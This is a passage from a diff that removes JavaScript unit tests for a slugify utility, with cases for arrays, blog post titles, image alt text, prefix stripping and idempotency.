- name: 'array-returns-empty-string',
333
- async run({ assert }) {
334
- assert.equal(utilities.slugify(['hello']), '');
335
- },
336
- },
337
-
338
- // ─── Real-world examples ───
339
-
340
- {
341
- name: 'real-blog-post-title',
342
- async run({ assert }) {
343
- assert.equal(
344
- utilities.slugify('10 Best Productivity Apps for Students in 2025'),
345
- '10-best-productivity-apps-for-students-in-2025',
346
- );
347
- },
348
- },
349
-
350
- {
351
- name: 'real-blog-post-with-colon-and-slash',
352
- async run({ assert }) {
353
- assert.equal(
354
- utilities.slugify('Beginner\'s Guide: Python vs JavaScript'),
355
- 'beginner-s-guide-python-vs-javascript',
356
- );
357
- },
358
- },
359
-
360
- {
361
- name: 'real-image-alt-text',
362
- async run({ assert }) {
363
- // The downloadImage() caller uses slugify(alt) to build a tmp filename
364
- assert.equal(
365
- utilities.slugify('Diagram showing the user flow (v2)'),
366
- 'diagram-showing-the-user-flow-v2',
367
- );
368
- },
369
- },
370
-
371
- {
372
- name: 'real-url-with-blog-prefix-removed-first',
373
- async run({ assert }) {
374
- // Mimics how callers strip "blog/" before slugifying
375
- const url = 'blog/some-existing-post';
376
- assert.equal(
377
- utilities.slugify(url.replace(/blog\//ig, '')),
378
- 'some-existing-post',
379
- );
380
- },
381
- },
382
-
383
- // ─── Idempotency ───
384
-
385
- {
386
- name: 'idempotent-double-slugify',
387
- async run({ assert }) {
388
- const once = utilities.slugify('Hello World: Foo & Bar!');
389
- const twice = utilities.slugify(once);
390
- assert.equal(twice, once, 'Applying slugify twice should equal applying it once');
391
- },
392
- },
393
- ],
394
- };